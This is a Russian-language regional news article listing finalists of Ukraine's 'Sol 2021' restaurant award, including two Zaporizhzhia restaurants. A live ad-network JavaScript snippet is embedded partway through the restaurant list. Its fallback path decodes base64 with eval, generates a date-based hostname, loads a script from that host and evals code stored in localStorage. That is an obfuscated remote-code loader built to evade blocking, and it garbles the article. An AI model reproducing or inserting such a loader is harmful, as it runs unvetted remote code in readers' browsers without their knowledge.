Национальная ресторанная премия «Соль 2021» определила список украинских ресторанов, которые поборются за престижную награду — Медную сковородку.
Национальная ресторанная премия «Соль» объявила список финалистов 2021, из которых выберут победителей в 17 номинациях. В этом году члены жюри выбирали рестораны, претендующие на Медную сковородку и статус лучшего заведения Украины, из 3000 заявок. Всего в список финалистов вошли 146 заведений из 22 городов Украины, в частности Киева, Одессы, Львова, Днепра, Винницы, Запорожья, Херсона и др. Согласно правилам премии победители прошлого года не участвуют в текущем году, сообщает «NV.UA».
В течение нескольких месяцев до объявления номинантов до торжественной церемонии эксперты премии посетят все заведения-финалисты Соль 2021.
Имена победителей традиционно объявят осенью 28 ноября 2021 на IX торжественной церемонии награждения.
Запорожские рестораны представлены в двух разных номинациях.
Так, за награду в номинации «Лучший мясной ресторан» поборется запорожское заведение Bull. Butcher and Wine.
Лучший мясной ресторан
Sam`s Steak House, Киев
Bull. Butcher and Wine, Запорожье
Argentina Grill, Харьков
Sazha Wine and Meet, Сумы
Forest, Черкассы
Steak House, Киев (ул. Владимирская)
Mr. Ms. Meat ресторан для хижаків, Винница var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Beef Cake, Хмельницкий
Bull. Butcher and Wine
А в номинации «Лучший загородный ресторан» Запорожье представляет неоднократный номинант на национальную ресторанную премию «Cоль» «Monica Belucci».
Лучший загородный ресторан
Terrace by the lake (Edem Resort Medical SPA), с. Стрелки, Львовская обл.
Zafferano, с. Вишенки, Золоче, Киевская обл.
Toscana Grill, с. Буча, Киевская обл.
Fabius, Киев
RiverWood, с. Мошны, Черкасская обл.
Kommuna kitchen, с. Бобрица, Киевская обл.
Гостинично-ресторанный комплекс ZASTAVA (ZPORTRAIT), трасса Киев-Одесса, Черкасская обл.
Monica Bellucci, Запорожье
Monica Bellucci Подписывайтесь на Акцент в 
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/dva-zaporozhskih-restorana-stali-nominantami-na-natsionalnuyu-premiyu-sol-2021/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
